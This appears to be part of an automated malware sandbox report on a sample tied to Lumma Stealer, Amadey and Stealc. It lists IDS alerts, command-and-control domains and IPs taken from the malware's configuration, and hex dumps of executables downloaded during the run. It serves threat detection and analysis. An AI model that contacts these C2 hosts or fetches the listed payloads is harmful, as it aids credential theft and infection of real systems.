Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:56421 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:53211 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49997 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:62460 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50010 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50005 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:59702 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:53097 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:61152 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:64192 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:52205 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:59048 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:52718 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:59641 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:51714 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50045 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50048 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49704 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49705 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49706 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49706 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49708 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49712 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49996 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50000 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50000 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50039 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50035 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49998 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49998 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:50029 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50038 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49990 -> 104.102.49.254:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: studennotediw.store
Source: Malware configuration extractor	URLs: clearancek.site
Source: Malware configuration extractor	URLs: licendfilteo.site
Source: Malware configuration extractor	URLs: spirittunek.store
Source: Malware configuration extractor	URLs: mobbipenju.store
Source: Malware configuration extractor	URLs: dissapoiznw.store
Source: Malware configuration extractor	URLs: eaglepawnoy.store
Source: Malware configuration extractor	URLs: bathdoomgaz.store
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Downloads executable code via HTTP

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 23:09:08 GMTContent-Type: application/octet-streamContent-Length: 1915392Last-Modified: Wed, 23 Oct 2024 22:45:47 GMTConnection: keep-aliveETag: "67197c9b-1d3a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 60 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4c 00 00 04 00 00 8e 93 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 4f 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 4e 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 73 66 71 71 79 67 79 00 20 1a 00 00 30 32 00 00 20 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 65 66 6e 66 64 78 6e 00 10 00 00 00 50 4c 00 00 04 00 00 00 14 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4c 00 00 22 00 00 00 18 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 23:09:10 GMTContent-Type: application/octet-streamContent-Length: 1809408Last-Modified: Wed, 23 Oct 2024 22:45:40 GMTConnection: keep-aliveETag: "67197c94-1b9c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 40 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 68 00 00 04 00 00 e1 5d 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 69 73 64 63 61 74 61 00 40 19 00 00 f0 4e 00 00 3a 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 61 7a 75 78 76 6b 70 00 10 00 00 00 30 68 00 00 04 00 00 00 76 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 68 00 00 22 00 00 00 7a 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 23:09:13 GMTContent-Type: application/octet-streamContent-Length: 2777088Last-Modified: Wed, 23 Oct 2024 21:59:29 GMTConnection: keep-aliveETag: "671971c1-2a6000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 4a 78 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 67 6b 73 76 6b 6d 7a 79 00 00 2a 00 00 a0 00 00 00 00 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 69 67 69 73 6c 6e 65 00 20 00 00 00 a0 2a 00 00 04 00 00 00 3a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 3e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 23 Oct 2024 23:09:21 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 23 Oct 2024 23:09:27 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 23 Oct 2024 23:09:28 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 